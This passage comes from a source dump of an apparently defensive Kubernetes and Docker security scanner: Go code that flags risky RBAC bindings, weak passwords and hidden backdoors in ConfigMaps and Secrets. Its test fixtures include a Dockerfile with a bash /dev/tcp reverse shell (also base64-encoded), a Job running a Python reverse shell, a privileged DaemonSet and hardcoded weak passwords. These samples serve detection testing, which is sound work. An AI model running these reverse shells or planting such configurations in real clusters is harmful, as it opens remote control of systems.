rb.RoleRef.Name\n\t\t\tif len(sub.Namespace) < 1 {\n\t\t\t\tsub.Namespace = \"all\"\n\t\t\t}\n\n\t\t\tswitch sub.Kind {\n\t\t\tcase \"Group\":\n\t\t\t\tswitch sub.Name {\n\t\t\t\tcase \"system:serviceaccounts\", \"system:authenticated\", \"system:unauthenticated\":\n\t\t\t\t\tcheckBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace)\n\t\t\t\tdefault:\n\t\t\t\t\t// Case of system:serviceaccounts:<namespace>:<serviceaccount>\n\t\t\t\t\tif strings.HasPrefix(sub.Name, \"system:serviceaccounts:\") {\n\t\t\t\t\t\tif len(strings.Split(sub.Name, \":\")) > 3 {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\troleNs := strings.Split(sub.Name, \":\")[2]\n\t\t\t\t\t\tcheckBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, roleNs)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase \"ServiceAccount\":\n\t\t\t\tif sub.Name != \"system:anonymous\" && sub.Name != \"default\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tcheckBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace)\n\t\t\tcase \"User\":\n\t\t\t\tcheckBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace)\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkClusterBinding() error {\n\tlog.Printf(config.Yellow(\"Begin ClusterRoleBinding analyzing\"))\n\n\tclrb, err := ks.KClient.\n\t\tRbacV1().\n\t\tClusterRoleBindings().\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclr, err := ks.KClient.\n\t\tRbacV1().\n\t\tClusterRoles().\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, rb := range clrb.Items {\n\t\tfor _, sub := range rb.Subjects {\n\n\t\t\t// Ignore namespace in while list\n\t\t\tisWhite := false\n\n\t\t\tfor _, ns := range namespaceWhileList {\n\t\t\t\tif sub.Namespace == ns {\n\t\t\t\t\tisWhite = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Skip system:basic-user rolebinding name\n\t\t\tif rb.Name == \"system:basic-user\" {\n\t\t\t\tisWhite = true\n\t\t\t}\n\n\t\t\tif isWhite {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\truleName := rb.RoleRef.Name\n\n\t\t\tif len(sub.Namespace) < 1 {\n\t\t\t\tsub.Namespace = \"all\"\n\t\t\t}\n\n\t\t\tswitch sub.Kind {\n\t\t\tcase \"Group\":\n\t\t\t\tswitch sub.Name {\n\t\t\t\tcase \"system:serviceaccounts\", \"system:authenticated\":\n\t\t\t\t\tif ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {\n\n\t\t\t\t\t\tfor _, th := range tlist {\n\t\t\t\t\t\t\tth.Type = \"ClusterRoleBinding\"\n\t\t\t\t\t\t\tth.Param = fmt.Sprintf(\"binding name: %s \"+\n\t\t\t\t\t\t\t\t\"| rolename: %s | role kind: ClusterRole \"+\n\t\t\t\t\t\t\t\t\"| subject kind: %s | subject name: %s | namespace: %s\", rb.Name, ruleName, sub.Kind, sub.Name, sub.Namespace)\n\t\t\t\t\t\t\tth.Describe = \"Key permission are given to all account, which will cause a potential container escape.\"\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t\t\t\t\t}\n\n\t\t\t\tcase \"system:unauthenticated\":\n\t\t\t\t\tif ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {\n\t\t\t\t\t\tfor _, th := range tlist {\n\t\t\t\t\t\t\tth.Type = \"ClusterRoleBinding\"\n\t\t\t\t\t\t\tth.Param = fmt.Sprintf(\"binding name: %s \"+\n\t\t\t\t\t\t\t\t\"| rolename: %s | role kind: ClusterRole \"+\n\t\t\t\t\t\t\t\t\"| subject kind: %s | subject name: %s | namespace: %s\",\n\t\t\t\t\t\t\t\trb.Name, ruleName, sub.Kind, sub.Name, sub.Namespace)\n\t\t\t\t\t\t\tth.Describe = \"Key permission are given and every pod can access it, which will cause a potential container escape.\"\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t\t\t\t\t}\n\n\t\t\t\tdefault:\n\t\t\t\t\t// Case of system:serviceaccounts:<namespace>:<serviceaccount>\n\t\t\t\t\tif strings.HasPrefix(sub.Name, \"system:serviceaccounts:\") {\n\t\t\t\t\t\tif len(strings.Split(sub.Name, \":\")) > 3 {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\troleNs := strings.Split(sub.Name, \":\")[2]\n\t\t\t\t\t\tif ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {\n\n\t\t\t\t\t\t\tfor _, th := range tlist {\n\t\t\t\t\t\t\t\tth.Type = \"ClusterRoleBinding\"\n\t\t\t\t\t\t\t\tth.Param = fmt.Sprintf(\"binding name: %s \"+\n\t\t\t\t\t\t\t\t\t\"| rolename: %s | role kind: ClusterRole \"+\n\t\t\t\t\t\t\t\t\t\"| subject kind: %s | subject name: %s | namespace: %s\",\n\t\t\t\t\t\t\t\t\trb.Name, ruleName, sub.Kind, sub.Name, roleNs)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase \"ServiceAccount\":\n\t\t\t\tif sub.Name != \"system:anonymous\" && sub.Name != \"default\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {\n\t\t\t\t\tfor _, th := range tlist {\n\t\t\t\t\t\tth.Type = \"ClusterRoleBinding\"\n\t\t\t\t\t\tth.Param = fmt.Sprintf(\"binding name: %s \"+\n\t\t\t\t\t\t\t\"| rolename: %s | role kind: ClusterRole | \"+\n\t\t\t\t\t\t\t\"subject kind: ServiceAccount | \"+\n\t\t\t\t\t\t\t\"subject name: %s | namespace: %s\", rb.Name, ruleName, sub.Name, sub.Namespace)\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t\t\t\t}\n\t\t\tcase \"User\":\n\t\t\t\tif strings.HasPrefix(sub.Name, \"system:kube-\") {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {\n\t\t\t\t\tfor _, th := range tlist {\n\t\t\t\t\t\tif th.Severity == \"medium\" {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tth.Severity = \"warning\"\n\t\t\t\t\t\tth.Type = \"ClusterRoleBinding\"\n\t\t\t\t\t\tth.Describe = fmt.Sprintf(\"Key permission are given to unknown user '%s', \"+\n\t\t\t\t\t\t\t\"printing it for checking.\", sub.Name)\n\t\t\t\t\t\tth.Param = fmt.Sprintf(\"binding name: %s \"+\n\t\t\t\t\t\t\t\"| rolename: %s | role kind: ClusterRole | \"+\n\t\t\t\t\t\t\t\"subject kind: User | subject name: %s | namespace: %s\",\n\t\t\t\t\t\t\trb.Name, ruleName, sub.Name, sub.Namespace)\n\n\t\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc checkMatchingRole(clr []rv1.ClusterRole, rol []rv1.Role, ruleName string) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tcheckRule := func(rules []rv1.PolicyRule) bool {\n\n\t\tfor _, rul := range rules {\n\t\t\tif len(rul.Resources) < 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tth := &threat{}\n\n\t\t\t// Check whether all permission are given\n\t\t\tif rul.Verbs[0] == \"*\" && rul.Resources[0] == \"*\" {\n\t\t\t\tth.Value = fmt.Sprintf(\"verbs:* resources:%s\", strings.Join(rul.Resources, \", \"))\n\t\t\t\tth.Severity = \"high\"\n\t\t\t\tth.Describe = \"All the permission are given to the default service account \" +\n\t\t\t\t\t\"which will cause a potential container escape.\"\n\t\t\t\tvuln = true\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif len(rul.Verbs) > 0 {\n\t\t\t\t// Check whether the default account has the permission of pod control\n\t\t\t\tth.Severity, th.Describe = RBACVulnTypeJudge(rul.Verbs, rul.Resources)\n\n\t\t\t\tif th.Severity == \"warning\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tth.Value = fmt.Sprintf(\"verbs: %s | resources: %s\",\n\t\t\t\t\tstrings.Join(rul.Verbs, \", \"),\n\t\t\t\t\tstrings.Join(rul.Resources, \", \"))\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\t\t}\n\n\t\treturn vuln\n\t}\n\n\t// Check clusterrole\n\tfor _, r := range clr {\n\t\tif ruleName != r.Name {\n\t\t\tcontinue\n\t\t}\n\n\t\tvuln = checkRule(r.Rules)\n\n\t}\n\n\t// Check role\n\tfor _, r := range rol {\n\t\tif ruleName != r.Name {\n\t\t\tcontinue\n\t\t}\n\n\t\tvuln = checkRule(r.Rules)\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkConfigMap(ns string) error {\n\n\tvar password string\n\n\tcfs, err := ks.KClient.\n\t\tCoreV1().\n\t\tConfigMaps(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, cf := range cfs.Items {\n\t\tdata := cf.Data\n\t\tfor k, v := range data {\n\t\t\tneedCheck := false\n\n\t\t\tfor _, p := range passKey {\n\t\t\t\tif p.MatchString(k) {\n\t\t\t\t\tpassword = v\n\t\t\t\t\tneedCheck = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpassUrlMatch := regexp.MustCompile(`\\w+\\+\\w+\\://\\w+\\:(.*)?\\@`)\n\t\t\tpass := passUrlMatch.FindStringSubmatch(v)\n\t\t\tif len(pass) > 1 {\n\t\t\t\tpassword = pass[1]\n\t\t\t\tneedCheck = true\n\t\t\t}\n\n\t\t\tif needCheck {\n\t\t\t\tswitch checkWeakPassword(password) {\n\t\t\t\tcase \"Weak\":\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam:    fmt.Sprintf(\"ConfigMap Name: %s Namespace: %s\", cf.Name, ns),\n\t\t\t\t\t\tValue:    fmt.Sprintf(\"%s:%s\", k, v),\n\t\t\t\t\t\tType:     \"ConfigMap\",\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"ConfigMap has found weak password: '%s'.\", password),\n\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\n\t\t\t\tcase \"Medium\":\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: fmt.Sprintf(\"ConfigMap Name: %s Namespace: %s\", cf.Name, ns),\n\t\t\t\t\t\tValue: fmt.Sprintf(\"%s:%s\", k, v),\n\t\t\t\t\t\tType:  \"ConfigMap\",\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"ConfigMap has found password '%s' \"+\n\t\t\t\t\t\t\t\"need to be reinforeced.\", password),\n\t\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Check whether payload is hidden in the secret value\n\t\t\tdetect := maliciousContentCheck(v)\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"ConfigMap Name: %s Namspace: %s\", cf.Name, ns),\n\t\t\t\tValue: fmt.Sprintf(\"%s:%s\", k, detect.Plain),\n\t\t\t\tType:  \"ConfigMap\",\n\t\t\t}\n\t\t\tswitch detect.Types {\n\t\t\tcase Confusion:\n\t\t\t\tth.Describe = fmt.Sprintf(\"ConfigMap finds high risk content(score: %.2f bigger than 0.75), \"+\n\t\t\t\t\t\"which is a suspect command backdoor. \", detect.Score)\n\t\t\t\tth.Severity = \"high\"\n\n\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\tcase Executable:\n\t\t\t\tth.Describe = \"An executable format of content is detected in ConfigMap value, \" +\n\t\t\t\t\t\"which is a potential backdoor and scanning the vulnerability is highly recommended.\"\n\t\t\t\tth.Severity = \"critical\"\n\n\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\tdefault:\n\t\t\t\t// ignore\n\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkSecret(ns string) error {\n\n\tvar password string\n\n\tses, err := ks.KClient.\n\t\tCoreV1().\n\t\tSecrets(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, se := range ses.Items {\n\t\tdata := se.Data\n\n\t\tfor k, v := range data {\n\t\t\tneedCheck := false\n\n\t\t\tif k == \".dockerconfigjson\" {\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: fmt.Sprintf(\"Secret Name: %s | Namspace: %s\", se.Name, ns),\n\t\t\t\t\tValue: fmt.Sprintf(\"%s:%s\", k, string(v[:50])),\n\t\t\t\t\tType:  \"Secret\",\n\t\t\t\t\tDescribe: \"Secret has found account info .dockerconfigjson \" +\n\t\t\t\t\t\t\"in this service account.\",\n\t\t\t\t\tSeverity: \"low\",\n\t\t\t\t}\n\n\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tfor _, p := range passKey {\n\t\t\t\tif p.MatchString(k) {\n\t\t\t\t\tneedCheck = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif needCheck {\n\t\t\t\tpassword = string(v)\n\n\t\t\t\tswitch checkWeakPassword(password) {\n\t\t\t\tcase \"Weak\":\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam:    fmt.Sprintf(\"Secret Name: %s | Namspace: %s\", se.Name, ns),\n\t\t\t\t\t\tValue:    fmt.Sprintf(\"%s:%s\", k, v),\n\t\t\t\t\t\tType:     \"Secret\",\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Secret has found weak password: '%s'.\", password),\n\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\n\t\t\t\tcase \"Medium\":\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: fmt.Sprintf(\"Secret Name: %s | Namspace: %s\", se.Name, ns),\n\t\t\t\t\t\tValue: fmt.Sprintf(\"%s:%s\", k, v),\n\t\t\t\t\t\tType:  \"Secret\",\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Secret has found password '%s' \"+\n\t\t\t\t\t\t\t\"need to be reinforeced.\", password),\n\t\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t// Check whether payload is hidden in the secret value\n\t\t\tdetect := maliciousContentCheck(string(v))\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"Secret Name: %s Namspace: %s\", se.Name, ns),\n\t\t\t\tValue: fmt.Sprintf(\"%s:%s\", k, detect.Plain),\n\t\t\t\tType:  \"Secret\",\n\t\t\t}\n\t\t\tswitch detect.Types {\n\t\t\tcase Confusion:\n\t\t\t\tth.Describe = fmt.Sprintf(\"Secret finds high risk content(score: %.2f bigger than 0.75), \"+\n\t\t\t\t\t\"which is a suspect command backdoor. \", detect.Score)\n\t\t\t\tth.Severity = \"high\"\n\n\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\tcase Executable:\n\t\t\t\tth.Describe = \"An executable format of content is detected in Secret value, \" +\n\t\t\t\t\t\"which is a potential backdoor and scanning the vulnerability is highly recommended.\"\n\t\t\t\tth.Severity = \"critical\"\n\n\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\tdefault:\n\t\t\t\t// ignore\n\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkSecretFromName(ns, key, seName, envName string) (bool, *threat) {\n\tvar vuln = false\n\tth := &threat{}\n\n\tses, err := ks.KClient.\n\t\tCoreV1().\n\t\tSecrets(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn vuln, th\n\t}\n\n\tfor _, se := range ses.Items {\n\t\tdata := se.Data\n\n\t\tif se.Name != seName {\n\t\t\tcontinue\n\t\t}\n\n\t\tvuln, th = findVulnEnvName[[]byte](data, key, envName, \"secret\")\n\t}\n\n\treturn vuln, th\n}\n\nfunc (ks *KScanner) checkConfigFromName(ns, key, seName, envName string) (bool, *threat) {\n\tvar vuln = false\n\tth := &threat{}\n\n\tses, err := ks.KClient.\n\t\tCoreV1().\n\t\tConfigMaps(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn vuln, th\n\t}\n\n\tfor _, se := range ses.Items {\n\t\tdata := se.Data\n\n\t\tif se.Name != seName {\n\t\t\tcontinue\n\t\t}\n\n\t\tvuln, th = findVulnEnvName[string](data, key, envName, \"configmap\")\n\t}\n\n\treturn vuln, th\n}\n\nfunc (ks *KScanner) findSecretOrConfigMapValue(name, com, ns string) string {\n\n\tswitch com {\n\tcase \"ConfigMap\":\n\t\tses, err := ks.KClient.\n\t\t\tCoreV1().\n\t\t\tConfigMaps(ns).\n\t\t\tList(context.TODO(), metav1.ListOptions{})\n\t\tif err != nil {\n\t\t\treturn \"\"\n\t\t}\n\n\t\tfor _, se := range ses.Items {\n\t\t\tdata := se.Data\n\t\t\tfor k, v := range data {\n\t\t\t\tif k == name {\n\t\t\t\t\treturn v\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tcase \"Secret\":\n\t\tses, err := ks.KClient.\n\t\t\tCoreV1().\n\t\t\tSecrets(ns).\n\t\t\tList(context.TODO(), metav1.ListOptions{})\n\t\tif err != nil {\n\t\t\treturn \"\"\n\t\t}\n\n\t\tfor _, se := range ses.Items {\n\t\t\tdata := se.Data\n\t\t\tfor k, v := range data {\n\t\t\t\tif k == name {\n\t\t\t\t\treturn string(v)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tdefault:\n\t\t// ignore\n\n\t}\n\n\treturn \"\"\n}\n\nfunc findVulnEnvName[T []byte | string](data map[string]T, key, envName, tp string) (bool, *threat) {\n\tvar vuln = false\n\tth := &threat{}\n\n\tfor k, v := range data {\n\n\t\tif k != key {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Skip the username\n\t\tuserReg := regexp.MustCompile(`(?i)user`)\n\t\tif userReg.MatchString(k) {\n\t\t\tskipCheck := true\n\n\t\t\tfor _, reg := range passKey {\n\t\t\t\tif reg.MatchString(k) {\n\t\t\t\t\tskipCheck = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif skipCheck {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tpassword := string(v)\n\t\tswitch checkWeakPassword(password) {\n\t\tcase \"Weak\":\n\t\t\tth = &threat{\n\t\t\t\tValue:    fmt.Sprintf(\"%s:%s\", k, v),\n\t\t\t\tType:     fmt.Sprintf(\"Sidecar Env %s\", tp),\n\t\t\t\tDescribe: fmt.Sprintf(\"Sidecar env '%s' has found weak key: '%s'.\", envName, password),\n\t\t\t\tSeverity: \"high\",\n\t\t\t}\n\t\t\tvuln = true\n\t\t\tbreak\n\t\tcase \"Medium\":\n\t\t\tth = &threat{\n\t\t\t\tValue: fmt.Sprintf(\"%s:%s\", k, v),\n\t\t\t\tType:  fmt.Sprintf(\"Sidecar Env %s\", tp),\n\t\t\t\tDescribe: fmt.Sprintf(\"Sidecar env '%s' has found key '%s' \"+\n\t\t\t\t\t\"need to be reinforeced.\", envName, password),\n\t\t\t\tSeverity: \"medium\",\n\t\t\t}\n\t\t\tvuln = true\n\t\t\tbreak\n\n\t\tdefault:\n\t\t\t// ingore\n\t\t}\n\n\t}\n\n\treturn vuln, th\n}\n\nfunc RBACVulnTypeJudge(rules, resources []string) (string, string) {\n\tvar severity = \"warning\"\n\tvar description string\n\n\tdangerResources := []string{\"pods\", \"deployments\", \"statefulsets\",\n\t\t\"serviceaccounts\"}\n\tdangerRules := []string{\"create\", \"update\", \"patch\", \"delete\", \"impersonate\"}\n\tsensitiveResources := []string{\"secrets\", \"configmaps\"}\n\n\tsecretLeakage := false\n\n\tif resources[0] == \"*\" {\n\t\tseverity = \"medium\"\n\t\tgoto rulesJudge\n\t}\n\n\tfor _, resource := range resources {\n\t\tfor _, drs := range dangerResources {\n\t\t\tswitch {\n\t\t\tcase resource == drs:\n\t\t\t\tseverity = \"medium\"\n\t\t\t\tbreak\n\n\t\t\tcase strings.HasPrefix(resource, drs):\n\t\t\t\tif severity != \"warning\" {\n\t\t\t\t\tseverity = \"low\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor _, srs := range sensitiveResources {\n\t\t\tif resource == srs {\n\t\t\t\tseverity = \"medium\"\n\t\t\t\tsecretLeakage = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif rules[0] == \"*\" {\n\t\tswitch severity {\n\t\tcase \"medium\":\n\t\t\tseverity = \"high\"\n\t\t\tdescription = \"All permissions with key resources given to the default service account, \" +\n\t\t\t\t\"which will cause a potential container escape.\"\n\t\tcase \"low\":\n\t\t\tseverity = \"medium\"\n\t\t\tdescription = \"All permissions with some resources are given to the default service account \" +\n\t\t\t\t\"which will cause a potential data leakage.\"\n\t\tcase \"warning\":\n\t\t\tseverity = \"low\"\n\t\t\tdescription = \"All permissions with unknown resources are given to the default service account \" +\n\t\t\t\t\"which will cause a potential data leakage.\"\n\t\t}\n\n\t\tgoto otherJudge\n\t}\nrulesJudge:\n\tfor _, verb := range rules {\n\t\tfor _, drl := range dangerRules {\n\t\t\tif verb != drl {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tswitch severity {\n\t\t\tcase \"medium\":\n\t\t\t\tseverity = \"high\"\n\t\t\t\tdescription = \"Key permissions with key resources given to the default service account, \" +\n\t\t\t\t\t\"which will cause a potential data leakage.\"\n\t\t\tcase \"low\":\n\t\t\t\tseverity = \"medium\"\n\t\t\t\tdescription = \"Key permissions with some resources are given to the default service account \" +\n\t\t\t\t\t\"which will cause a potential data leakage.\"\n\t\t\tcase \"warning\":\n\t\t\t\tseverity = \"low\"\n\t\t\t\tdescription = \"Key permissions with unknown resources are given to the default service account \" +\n\t\t\t\t\t\"which will cause a potential data leakage.\"\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\notherJudge:\n\tif description == \"\" {\n\t\tswitch severity {\n\t\tcase \"medium\":\n\t\t\tif secretLeakage {\n\t\t\t\tseverity = \"high\"\n\t\t\t\tdescription = \"Secret view permission is given to the default service account, \" +\n\t\t\t\t\t\"which will cause a data leakage.\"\n\n\t\t\t} else {\n\t\t\t\tdescription = \"Some permissions with key resources given to the default service account, \" +\n\t\t\t\t\t\"which will cause a potential data leakage.\"\n\t\t\t}\n\t\tcase \"low\":\n\t\t\tdescription = \"Some permissions with some resources are given to the default service account \" +\n\t\t\t\t\"which will cause a potential data leakage.\"\n\t\tcase \"warning\":\n\t\t\tdescription = \"Some permissions with unknown resources are given to the default service account \" +\n\t\t\t\t\"which will cause a potential data leakage.\"\n\n\t\t}\n\t}\n\n\treturn severity, description\n}\n"
  },
  {
    "path": "internal/analyzer/scanner.go",
    "content": "package analyzer\n\nimport (\n\t\"github.com/kvesta/vesta/pkg/inspector\"\n\t\"k8s.io/client-go/kubernetes\"\n\t\"k8s.io/client-go/rest\"\n)\n\ntype Scanner struct {\n\tDApi           inspector.DockerApi\n\tVulnContainers []*container\n\n\tEngineVersion string\n\tServerVersion string\n}\n\ntype container struct {\n\tContainerID   string\n\tContainerName string\n\tStatus        string\n\tNodeName      string\n\n\t// For kubernetes\n\tNamepsace string\n\tThreats   []*threat\n}\n\ntype threat struct {\n\tParam string\n\tValue string\n\tType  string\n\n\tDescribe  string\n\tSeverity  string\n\tReference string\n}\n\ntype KScanner struct {\n\tKClient     *kubernetes.Clientset\n\tKConfig     *rest.Config\n\tVersion     string\n\tMasterNodes map[string]*nodeInfo\n\n\tVulnConfigures []*threat\n\tVulnContainers []*container\n}\n\ntype nodeInfo struct {\n\tRole       map[string]string\n\tIsMaster   bool\n\tInternalIP string\n}\n"
  },
  {
    "path": "internal/analyzer/testdata/Dockerfile",
    "content": "FROM busybox:latest\n\nLABEL maintainer=\"vuln docker image\"\n\nENV SECRET_KEY=123456\n\n# bash -i >&/dev/tcp/127.0.0.1/9999 0>&1\nENV command=YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjEK\n\nRUN echo \"password=${SECRET_KEY}\" > /etc/config.ini && \\\n    echo \"normal string\" && \\\n    echo \"bash -i >&/dev/tcp/10.0.0.1/9999 0>&1\" > /tmp/file\n\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n"
  },
  {
    "path": "internal/analyzer/testdata/clusterrolebinding.yaml",
    "content": "kind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  namespace: default\n  name: vuln-clusterrole\nrules:\n- apiGroups: [\"\"]\n  resources: [\"pods\", \"services\"]\n  verbs: [\"get\", \"watch\", \"list\", \"create\", \"update\"]\n---\nkind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: vuln-clusterrolebinding\nsubjects:\n  - kind: ServiceAccount\n    name: default\n    namespace: default\n  - kind: Group\n    name: system:serviceaccounts:vuln\n    apiGroup: rbac.authorization.k8s.io\n  - kind: Group\n    name: system:unauthenticated\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: vuln-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n\n---\nkind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: vuln-clusterrolebinding2\nsubjects:\n  - kind: Group\n    name: system:serviceaccounts:vuln\n    apiGroup: rbac.authorization.k8s.io\n  - kind: Group\n    name: system:unauthenticated\n    apiGroup: rbac.authorization.k8s.io\n  - kind: User\n    name: testUser\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: vuln-clusterrole\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "internal/analyzer/testdata/configmap.yaml",
    "content": "apiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: vulnconfig\n  labels:\n    app: configmap\ndata:\n  POSTGRES_PASSWORD: postgres\n  db.string: \"mysql+pymysql://dbapp:Password123@db:3306/db\"\n\n\n"
  },
  {
    "path": "internal/analyzer/testdata/daemonset.yaml",
    "content": "apiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n  name: vuln-daemonset\n  namespace: kube-system\n  labels:\n    k8s-app: vuln-daemonset-labels\nspec:\n  selector:\n    matchLabels:\n      name: vuln-daemonset-pod\n  template:\n    metadata:\n      labels:\n        name: vuln-daemonset-pod\n    spec:\n      tolerations:\n      - key: node-role.kubernetes.io/control-plane\n        operator: Exists\n        effect: NoSchedule\n      - key: node-role.kubernetes.io/master\n        operator: Exists\n        effect: NoSchedule\n      containers:\n      - name: daemonset-pod\n        image: nginx:latest\n        imagePullPolicy: IfNotPresent\n        securityContext:\n          privileged: true\n        resources:\n          limits:\n            memory: 200Mi\n          requests:\n            cpu: 100m\n            memory: 200Mi\n      terminationGracePeriodSeconds: 30\n\n"
  },
  {
    "path": "internal/analyzer/testdata/docker-compose.yaml",
    "content": "services:\n  web:\n    image: vesta-vuln-test:latest\n    build:\n      dockerfile: Dockerfile"
  },
  {
    "path": "internal/analyzer/testdata/job.yaml",
    "content": "apiVersion: batch/v1\nkind: Job\n\nmetadata:\n  name: vulnjob\nspec:\n  template:\n    spec:\n      containers:\n      - name: vulnjob\n        image: python:3.8.10\n        command: [\"python3\", \"-e\", \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"127.0.0.1\\\",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);\"]\n      restartPolicy: Never\n  backoffLimit: 4\n"
  },
  {
    "path": "internal/analyzer/testdata/pod.yaml",
